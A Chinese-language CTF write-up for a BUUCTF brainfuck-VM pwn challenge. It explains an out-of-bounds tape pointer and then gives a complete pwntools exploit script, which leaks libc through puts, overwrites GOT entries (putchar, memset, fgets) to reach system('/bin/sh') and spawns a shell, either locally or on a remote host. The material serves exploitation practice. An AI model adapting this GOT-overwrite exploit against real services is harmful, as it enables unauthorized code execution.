每周一pwn系列

题目地址:BUUCTF在线评测
vmpwn专题-2

基本信息

逆向分析

一个brainfuck虚拟机

p是一个全局指针,指向 bss段的 tape

对opcode的解析相对比较简单

  • “+”:++*p,tape存储的值+1
  • “,”:输入一个字节到*p
  • “-“:–*p,tape存储的值-1
  • “.”:打印*p一个字节
  • “<”:–p,p所指地址-1
  • “>”:++p,p所指地址+1
  • “[“:没用

因为没对p做出任何限制,所以可以任意地址读写

漏洞利用

现在能做的:

  1. 增/减任意地址一字节
  2. 输入/输出任意地址任意字节
    partial relro,bss 又离 GOT 很近,可以直接改 GOT 表

我一开始想如何泄露完libc后再回到main上,改GOT为main?

其实不需要,opcode先泄露再输入,这样泄露完libc后程序会等待输入,我们就可以改GOT了

发现改成one_gadget没用,那么只能走system(‘/bin/sh’),但是putchar只能传参一字节,不好直接构造,还是得回到main上

思路:

  1. 先打印puts地址泄露libc
  2. 改putchar为main,改memset为gets,改fgets为system,然后回到main时输入 ‘/bin/sh’

    我一开始想改puts为main,但是主函数还会调用puts,这就相当于调用了很多次main导致程序异常。改putchar就很好,毕竟已经泄露过了libc

EXP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------

def pwn():

	#,
	#dbg('b *0x0804865A')
	#+
	#dbg('b *0x08048665')
	
	#leak puts
	payload='<'*0x88
	payload+='.>.>.>.'
	payload+='<<<'
	
	#putchar
	payload+='>'*0x18
	payload+=',>,>,>,>'	
	
	#memset
	payload+='<'*0x8	
	payload+=',>,>,>,>'		
	
	#fgets
	payload+='<'*0x20
	payload+=',>,>,>,>'	
	
	payload+='.'
	sla('except [ ]',payload)
	
	
	ru('\n',True)
	puts=u32(r(4))
	lg('puts',puts)
	libc.address=puts-ls('puts')
	lg('libc',libc.address)
	
	dbg('b *0x8048671')
	payload=p32(0x8048671)+p32(ls('gets'))+p32(ls('system'))
	s(payload)
	sl('/bin/sh\x00')
	
	#dbg('')
	itr()

'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

'''
if __name__ == '__main__':
	context(os='linux',arch='i386',bits=32,endian='little')
	context.terminal=["tmux","splitw","-h","-l 150"]
	binary='./bf'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()
⬆︎TOP